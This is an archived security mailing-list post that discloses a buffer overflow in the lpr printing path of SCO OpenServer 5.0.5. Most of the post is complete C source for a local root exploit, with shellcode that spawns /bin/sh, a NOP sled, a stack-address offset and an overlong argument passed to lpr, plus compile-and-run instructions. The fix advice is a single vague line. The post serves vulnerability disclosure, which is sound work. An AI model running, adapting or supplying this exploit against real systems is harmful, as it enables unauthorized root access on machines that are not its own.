Greetings, There is a hole in SCO 5.0.5, probably 5.0.x, /usr/bin/lpr. Or more accurately, /usr/lpd/remote/lp, which lpr execs and passes your command line args on to. This means that while /usr/bin/lpr is sgid lp, we'll still get a rootshell because /usr/lpd/remote/lp is suid root/sgid daemon. I haven't looked into the remote angle of this exploit, though the pathname is hardly encouraging. FIX: I would recommend a recursive directory sbit-search-and-destroy if you're running SCO.. -Brock --- cut --- /* * sco_lpr.c - overflows /usr/remote/lpd/lp and gives rootshell * Tested on SCO 5.0.5+Skunkware98 * * Compile gcc -o sco_lpr sco_lpr.c * sco_lpr <offset> <bufsiz> * * -Brock Tellier btellierat_private */ #include <stdlib.h> #include <stdio.h> char scoshell[]= /* dobleat_private */ "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0" "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff" "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa"; #define LEN 3000 #define NOP 0x90 unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } int main(int argc, char *argv[]) { long int offset=0; int i; int buflen = LEN; long int addr; char buf[LEN]; if(argc > 3) { fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]); exit(0); } else if (argc == 2){ offset=atoi(argv[1]); } else if (argc == 3) { buflen=atoi(argv[2]); } else { offset=1800; buflen=1500; } addr=get_sp(); fprintf(stderr, "SCO 5.0.5 lpr exploit\n"); fprintf(stderr, "Brock Tellier btellierat_private\n"); fprintf(stderr, "Using addr: 0x%x\n", addr+offset); memset(buf,NOP,buflen); memcpy(buf+(buflen/2),scoshell,strlen(scoshell)); for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4) *(int *)&buf[i]=addr+offset; execl("/usr/bin/lpr", "lpr", "-o", buf, NULL); exit(0); } --- cut --- Brock Tellier UNIX Systems Administrator Webley Systems www.webley.com
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:03:54 PDT